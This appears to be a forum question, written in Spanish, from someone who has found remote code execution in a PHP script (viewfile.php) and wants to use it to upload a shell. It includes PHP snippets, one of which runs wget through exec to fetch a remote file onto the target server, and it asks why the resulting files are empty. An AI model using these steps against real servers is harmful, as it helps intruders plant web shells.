Así que encontré una vulnerabilidad de RCE en un script PHP (está en un archivo llamado viewfile.php
). Básicamente, desde este archivo puedo ejecutar cualquier código PHP que desee, por ejemplo, <?php echo phpinfo(); ?>
muestra phpinfo, y <?php echo "Test"; ?>
también funciona.
Quería ver si podía cargar un shell desde esta vulnerabilidad de RCE, así que primero decidí realizar una prueba para asegurarme de que podía cargar archivos. Esto es lo que intenté:
<?php
$fp = fopen('test.txt', 'w');
fwrite($fp, 'Text in test.txt');
fclose($fp);
?>
y
<?php $output = exec('wget http://mywebsite.com/textfile.txt -O test.txt'); echo $output; ?>
Los dos ejemplos anteriores crearon un archivo test.txt
, pero ambos archivos estaban vacíos, lo que significa que si intentara esto con un shell, no funcionaría (también sería un archivo vacío). ¿Esto significa que se puede suponer que el directorio en el que he estado intentando cargar archivos no tiene permisos de escritura? Si no tuviera permisos de escritura, ¿es este el comportamiento que uno esperaría? (archivo creado pero nada escrito)